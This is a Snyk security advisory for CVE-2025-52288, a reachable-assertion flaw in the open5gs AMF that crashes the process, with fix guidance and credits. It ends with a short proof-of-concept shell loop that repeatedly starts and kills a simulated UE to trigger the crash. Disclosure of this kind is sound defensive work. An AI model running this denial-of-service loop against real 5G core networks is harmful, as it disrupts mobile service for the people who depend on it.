Reachable Assertion Affecting open5gs/open5gs package, versions [,2.7.6)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-UNMANAGED-OPEN5GSOPEN5GS-12671225
- published17 Sept 2025
- disclosed8 Sept 2025
- creditJunMan Qin, Hao Zheng, Yuanhao Li, Qiang Fu, Jiajia Liu
Introduced: 8 Sep 2025
NewCVE-2025-52288 (opens in a new tab)How to fix?
Upgrade open5gs/open5gs to version 2.7.6 or higher.
Overview
Affected versions of this package are vulnerable to Reachable Assertion via the ngap_build_downlink_nas_transport function in the Access and Mobility Management Function (AMF) component. An attacker can cause the process to terminate unexpectedly by repeatedly sending UE connect and disconnect message sequences.
PoC
while true; do
sudo ./nr-ue -c ../config/open5gs-ue.yaml > output.log 2>&1 &
#sudo ./nr-ue -c ../config/open5gs-ue.yaml
process_pid=$!
sleep_time=$(awk -v seed="$RANDOM" 'BEGIN {srand(seed); print 0 + rand() * 0.1}')
sleep "$sleep_time"
kill $process_pid
sleep_time=$(awk -v seed="$RANDOM" 'BEGIN {srand(seed); print 0.1 + rand() * 0.1}')
sleep "$sleep_time"
done